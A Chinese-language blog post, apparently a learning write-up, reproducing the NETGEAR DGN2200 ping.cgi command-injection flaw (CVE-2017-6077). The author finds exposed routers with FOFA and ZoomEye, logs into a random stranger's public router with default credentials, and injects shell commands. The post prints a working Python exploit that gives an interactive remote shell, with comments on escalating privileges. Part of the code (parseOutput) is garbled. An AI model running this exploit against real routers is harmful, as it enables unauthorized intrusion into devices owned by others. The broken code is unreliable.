NetGear_DGN2200 命令执行漏洞 CVE-2017-6077

NetGear_DGN2200 命令执行漏洞(CVE-2017-6077)


0x01 前言

最近学习路由器漏洞挖掘,于是先从复现现有漏洞开始,一步一步来,了解漏洞产生的原理,熟悉路由器漏洞的一些套路,挖掘点。

0x02 漏洞简述

NETGEARDGN2200是美国网件(NETGEAR)公司的一款无线路由器产品。使用10.0.0.50及之前版本固件的NETGEARDGN2200中的ping.cgi文件存在安全漏洞。远程攻击者可借助HTTPPOST请求的ping_IPAddr字段中的shell元字符利用该漏洞执行任意的OS命令。

0x03 漏洞复现

首先使用fofa,zoomceye搜索 “DGN2200”, 会发现其中有大量的暴露在公网的路由器。这里我随便挑一个路由器IP进行漏洞复现。
NetGear_DGN2200 命令执行漏洞 CVE-2017-6077_第1张图片
根据漏洞描述,此路由器管理界面默认口令为admin/password。以下是登录进去之后的路由器管理web界面。

NetGear_DGN2200 命令执行漏洞 CVE-2017-6077_第2张图片
打开burpsuite ,配置好chrome和burpsuite的代理。
NetGear_DGN2200 命令执行漏洞 CVE-2017-6077_第3张图片
然后在浏览器中的访问dnslookup.cgi文件

http://193.253.xxx.xxx:8080/dnslookup.cgi

输入ping的值,点击ping按钮
NetGear_DGN2200 命令执行漏洞 CVE-2017-6077_第4张图片
然后使用burpsuie抓包,在ping_IPAddr后面加上需要命令执行的漏洞。
NetGear_DGN2200 命令执行漏洞 CVE-2017-6077_第5张图片

0x04 EXP

以下是该漏洞的exp

#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
password = 'password' 


def main():
	if len(sys.argv) < 2 or len(sys.argv) == 3:
		print "./netgearpwn.py "
		return
	spawnShell()

def execute(cmd):
	r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
	result = parseOutput(r.text)	
	return result

def spawnShell():
	r = execute("echo pwn3d")

	if any("pwn3d" in s for s in r) == False:
		print "Something went wrong, is the system vulnerable? Are the credentials correct?"
		return

	while True:
		cmd = raw_input("$ ")
		r = execute(cmd)
		for l in r:
			print l.encode("utf-8")

def parseOutput(output):
	yet = False
	a = False
	result = []
	for line in output.splitlines():
		if line.startswith(""):
				break
			result.append(line)
	return result

if __name__ == "__main__":
	main()

0x05 总结

此路由器使用的是剪裁版的busybox,有很多命令执行不了。我执行/bin/busybox 也没有看到路由器支持什么命令。并且尝试开启路由器的telnet,没有开启成功。下次看看找一下路由器的固件包,解开看看支持什么命令。

希望自己能在固件方向一直坚持下去,道路虽艰,行者更强

REFERENCE
https://www.anquanke.com/vul/id/1123723

你可能感兴趣的:(一无所知的渗透)